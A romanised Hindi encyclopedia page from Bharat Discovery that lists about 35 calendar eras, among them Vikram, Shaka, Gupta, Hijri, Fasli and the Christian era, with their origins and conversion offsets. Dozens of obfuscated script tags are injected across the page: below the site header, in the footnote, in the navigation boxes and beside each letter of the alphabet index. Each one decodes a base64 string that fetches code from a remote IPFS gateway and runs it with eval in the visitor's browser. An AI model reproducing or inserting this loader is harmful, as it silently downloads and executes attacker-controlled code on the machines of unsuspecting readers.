अब्द

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

abd (sanvat) ka arth varsh hai. yah varsh, sanvat evan sanh‌ ke arth mean ajakal prachalit hai, kyoanki hindi mean is shabd ka prayog sapekshik drishti se kam ho gaya hai. anek viroan, mahapurushoan, sanpradayoan evan ghatanaoan ke jivan aur itihas ke aranbh ki smriti mean anek abd ya sanvat ya sanh‌ sansar mean chalae ge haian, yatha-

1. saptarshi sanvat - saptarshi (sat taroan) ki kalpit gati ke sath isaka sanbandh mana gaya hai. ise laukik, shastr, paha di ya kachcha sanvat bhi kahate haian. isamean 24 varsh jo dane se saptarshi-sanvat-chakr ka vartaman varsh ata hai.

2. kaliyug sanvat - ise mahabharat ya yudhishthir sanvat kahate haian. jyotish granthoan mean isaka upayog hota hai. shilalekhoan mean bhi isaka upayog hua hai. ee.poo. 3102 se isaka aranbh hota hai. vikram sanvat mean 3044 evan shak sanvat mean 3179 jo dane se kaliyug sanvat ata hai.

3. viranirvan sanvat - aantim jain tirthankar mahavir ke nirvan varsh ee.poo. 427 se isaka aranbh mana jata hai. vikram sanvat mean 470 evan shak sanvat mean 605 jo dane se viranirvan sanvat ata hai.

4. buddhanirvan sanvat - gautam buddh ke nirvan varsh se isaka aranbh mana jata hai. yah vivadaspad hai, kyoanki vividh srot evan vidvanoan ke adhar par buddhanirvan ee.poo.1097 se ee.poo. 388 tak mana jata hai. samanyat: ee.poo. 487 adhik svikrit varsh hai.

5. maury sanvat - chandragupt maury ne chanaky ki sahayata se ee.poo. 321 mean maury samrajy ki sthapana ki thi. hathigumfa, katak (u disa) mean maury sanvat 165 ka raja kharavel ka ek lekh prapt hua hai.

6. selyuki di sanvat - sikandar mahanh‌ ke senapati selyukas ne jab bantavare mean eshiya ka samrajy prapt kiya to ee. poo. 312 se apane nam ka sanvat chalaya. kharoshthi lipi ke kuchh lekhoan mean isaka sadanrbh milata hai.

7. vikram sanvat - ise 'malava sanvat' bhi kahate haian. malavaraj ne akramak shakoan ko parast kar apane nam ka sanvat chalaya tha. isaka aranbh ee.poo. 75 varsh se mana jata hai. bharat aur nepal mean yah atyadhik lokapriy hai. uttar bharat mean isaka aranbh chaitr mah ke shukl paksh pratipada se, dakshin bharat mean kartik mah ke shukl paksh pratipada se aur gujarat tatha rajasthan ke kuchh hissoan mean ashadh mah ke shukl paksh pratipada (ashadhadi sanvat) se mana jata hai.

8. shak sanvat - aisa anuman kiya jata hai ki dakshin ke pratishthanapur ke raja shalivahan ne is sanvat ko chalaya tha. anek srot ise videshiyoan dvara chalaya hua manane haian. kathiyava d evan kachchh ke shilalekhoan tatha sikkoan mean isaka ullekh paya jata hai. varahamihir dvara rachit 'panchasiddhaantika' mean isaka sabase pahale ullekh hua hai. nepal mean bhi isaka prachalan hai. isamean 135 varsh jo dane se vikram sanvat aur 79 varsh jo dane se ee. sanh‌ banata hai.

9. kalachuri sanvat - ise chedi sanvat aur traikootak sanvat bhi kahate haian. yah sanvat gujarat, koankan evan madhy pradesh mean lekhoan mean mila hai. isamean 307 jo dane se vikram sanvat tatha 249 jo dane se ee. sanh‌ banata hai.

10. gupt sanvat - ise 'gupt kal' aur 'gupt varsh' bhi kaha jata hai. kathiyava d ke valabhi rajy (894ee.) mean ise 'valabhi sanvat' kaha gaya hai. kisi guptavanshi raja se isaka sanbandh jo da jata hai. nepal se gujarat tak isaka prachalan raha tha. isamean 376 jo dane se vikram sanvat, 241 jo dane se shak sanvat evan 320 jo dane se eesavi sanh‌ banata hai.

11. gaangey sanvat - ise kaliang nagar (tamilanadu) ke gangavanshi kisi raja ka chalaya hua sanvat mana jata hai. dakshin bharat ke katipay sthanoan par isaka ullekh milata hai. 579 jo dane se eesavi sanh‌ banata hai.

12. harsh sanvat - thaneshvar ke raja harsh ke rajyarohan ke samay ise chalaya gaya mana jata hai. uttar pradesh evan nepal mean kuchh samay tak yah prachalit raha. isamean 606 jo dane se eesavi sanh‌ banata hai.

13. bhatik (bhattik) sanvat - yah sanvat jaisalamer ke raja bhattik (bhati) ka chalaya hua mana jata hai. isamean 680 jo dane se vikram sanvat aur 623 jo dane se ee. san banata hai.

14. kolsamh‌ (kolanb) sanvat - tamil mean ise 'kollamh‌ aandu' aur sanskrit mean kolaban sanvat likha gaya hai. malabar ke log ise 'parashuram sanvat' bhi kahate haian. isake aranbh ka thik pata nahian hai. isamean 825 jo dane se ee. san banata hai.

15. nevar (nepal) sanvat - nepalaraj jayadevamall ne ise chalaya tha. isamean 936 jo dane se vikram sanvat aur 879 jo dane ee.san banata hai.

16. chaluky vikram sanvat - kalyanapur (aandhr) ke chaluky (solanki) raja vikramadity (chhathe) ne shak sanvat ke sthan par chaluky sanvat chalaya. ise 'chalukay vikramakal', 'chaluky vikram varsh', 'vir vikram kal' bhi kaha jata hai. isamean 1132 jo dane se vikram sanvat evan 1076 jo dane se ee.san banata hai.

17. sianh sanvat - karnal jems t aaud ne isaka nam 'shivasianh sanvat aur div bet (kathiyava d) ke gohiloan ka chalaya hua batalaya hai. isaka nishchit praman nahian milata. isamean 1170 jo dane se vikram sanvat 1113 jo dane se ee.san banata hai.

18. lakshmanasen sanvat - bangal ke senavanshi raja lakshman sen ke rajyabhishek se isaka aranbh hua. isaka aranbh magh mah ke shukl paksh pratipada se mana jata hai. isaka prachalan bangal, bihar (mithila) mean tha. isamean 1040 jo dane se shak sanvat, 1175 jo dane se vikram sanvat aur 1118 jo dane se ee.san banata hai.

19. puduvaippoo sanvat - sanh‌ 1341 mean kochin ke samip udbhoot 'bipin' tapoo ki smriti mean yah sanvat chalaya gaya. aranbh mean kochin rajy mean isaka prachalan raha.

20. rajyabhishek sanvat - chhatrapati shivaji ke rajyabhishek joon, 1674 ee. se isaka aranbh mana jata hai. maratha prabhav tak isaka prachalan raha.

21. barhaspaty sanvatsar - yah 12 varshoan ka mana jata hai. brihaspati ke uday aur ast ke kram se is varsh ki ganana ki jati hai. satavian sadi eesavi ke poorv ke kuchh shilalekhoan evan danapatroan mean isaka ullekh paya jata hai, yatha 'varshaman ashvin', 'varshaman kartik adi.

22. barhaspaty sanvatsar (60 varsh ka) - isamean 60 vibhinn namoan ke 361 din ke varsh mane ge haian. brihaspati ke rashi badalane se isaka aranbh mana jata hai. dakshin mean isaka ullekh adhik milata hai. chalukyaraj mangalesh (ee.san 591-610) ke lekh mean ise 'siddharth sanvatsar' bhi likha gaya hai.

23. grahaparivritti sanvatsar - isamean 90 varsh ka chakr hota hai. poora hone par varsh 1 se likhana shuroo karate haian. isaka aranbh ee.poo. 24 se mana jata hai. madura (tamilanadu) mean isaka vishesh prachalan raha hai.

24. saur varsh - yah 365 din, 15 gh di, 31 pal aur 30 vipal ka mana jata hai. isamean barah mahine hote haian. ajakal pray: saur varsh hi vyavahar mean hai.

25. chaandr varsh - do chaandr pakshoan ka ek chaandr mas hota hai. uttar mean krishna paksh 1 se aur dakshin mean shukl paksh 1 se mas ki ganana hoti hai. 12 chaandramas ka ek chaandr varsh hota hai, jo 354 din, 22 gh di 1 pal aur 24 vipal ka hota hai. sauraman evan chaandraman ke 32 mahinoan mean 1 mahine ka aantar p d jata hai.

26. hijari sanh - islam ke pravarttak muhammad sahab ke makka se madina palayan (hijari) ke din 15 julaee, 622 ee. se isaka aranbh mana jata hai. yah chaandravarsh hai. chaand dekhakar isaka aranbh kiya jata hai. tarikh ek sham se doosari sham tak chalati hai. saur mas ki tulana mean chaandramas 10 din, 53 gh di, 30 pal aur 6 vipal ke lagabhag kam hota hai. is prakar 100 saur varsh mean 3 chaandravarsh, 24 din, 9 gh di ka samay badh jaega. astu is sanh‌ ki any se koee nishchit tulana nahian ho sakati. bharat mean isaka pahala ullekh mahamood gazanavi ke mahamoodapur (lahaur) ke sikkoan par milata hai, jin par sanskrit mean bhi hijari sanh‌ ka ullekh kiya gaya hai.

27. shahoor sanh - sanbhavat: ise bharat mean muhammad tugalaq ne chalaya tha. yah hijari sanh‌ ka sanshodhit roop hai. chaandramas ke badale ise saur mas ke anusar mana gaya hai. isamean 600 jo dane se ee. sanh‌ aur 657 jo dane se vikram sanvat banata hai. marahatha shasan mean yah lokapriy hua. marathi panchaangoan mean abhi bhi milata hai.

28. phasali sanh - ise badashah akabar ne todaramal ke paramarsh se lagan vasooli ke lie hijari sanh‌ 971 (1563 ee.) mean chalaya. yah hijari sanh‌ ka sanshodhit roop hai, kyoanki isake mahine saur mas ke anusar chalate haian. panjab se bangal tak ke uttari bhag mean kisanoan aur aminoan mean isaka prachalan hai. dakshin bharat ka phasali sanh‌ uttar se kuchh bhinn hai.

29. vilayati sanh - bangal mean apana shasan sthapit hone ke bad ise aangrazoan ne chalaya. yah phasali sanh‌ ka doosara roop hai, jisamean varsharanbh ashvin mas se hota hai. isamean 592-593 jo dane se ee.s. banata hai.

30. amali sanh - yah vastav mean vilayati sanh‌ hi hai, kiantu u disa mean isaka aranbh bhadrapad mean shukl paksh ki dvadashi arthath‌ raj iandradyumn ke janm kal se mana jata hai. isaka prachar vahaan ke vyapariyoan evan nyayalayoan mean hai.

31. bangala sanh - ise 'bangabd' bhi kahate haian. phasali sanh‌ se aantar yah hai ki isaka aranbh vaishakh se hota hai. isamean 594 jo dane se ee.sanvat tatha 651 jo dane se vi.sanvat banata hai.

32. magi sanh - yah bhi bangal mean hi chalata hai kiantu bangabd se 45 varsh pichhe isaka aranbh mana jata hai. bangala desh ke chatagaanv janapad mean isaka prachar hua. prachar ka karan arakan (barma) ki magi jati ki kshetriy vijay ko milata hai.

33. ilahi sanh - badashah akabar ne birabal ke sahayog se 'din-ilahi' (eeshvariy dharm) ke sath is sanh‌ ko hijari sanh‌ 992 (1584 ee.) mean chalaya. isamean mahine 32 dinoan ke hote the. akabar aur jahaangir ke samay ke lekhoan v sikkoan mean isaka ullekh hai. shahajahaan ne ise samapt kar diya tha.

34. yahoodi sanh - yah prachalit abdoan mean sarvadhik prachin hai. izarayal aur vishv ke yahoodi isaka prayog karate haian. yah 5733 varsh purana hai. eesavi sanh‌ mean 3561 jo dane se yah sanh‌ ata hai.

35. eesavi sanh - eesa masih ke janm varsh se isaka aranbh mana jata hai. ee. sanvat 527 ke lagabhag rom ke nivasi padari doyonisiyas ne ganana kar rom nagar ki sthapana se 795 varsh bad eesa masih ka janm hona nishchit kiya. vartaman eesavi sanh‌ ki chhathi shati se isaka prachar shuroo hua aur 1000 eesavi tak yoorop ke sabhi eesaee deshoan ne tatha adhunik yooropiy samrajyavad ke vistar ke sath sare vishv ne ise svikar kar liya. isase poorv roman samrajy mean jooliyas sijar aur pop gregari dvara nirdharit sanh‌ tatha panchaang chalate the.

yah saur varsh hai, jisaka aranbh 1 janavari se hota hai. 24 ghante ka din (rat 12 baje se agali rat 12 baje tak) mana jata hai. isamean 57 varsh jo dane se vikram sanvat banata hai. ise 'khrostabd' bhi kaha jata hai. 1917 tak roos mean pashchimi yoorop ke mukabale varsh ka aranbh 13 din pichhe hota tha. kraanti ke bad lenin ne use badhakar samakaksh kiya, jisase 25 aktoobar ko huee kraanti 7 navanbar ko man li gee. yahi karan hai ki soviyat kraanti ko 'aktoobar kraanti' bhi kaha jata hai.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 170 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

dekhean • varta • badalean
kal ganana

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dekhean • varta • badalean
sanvatsar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   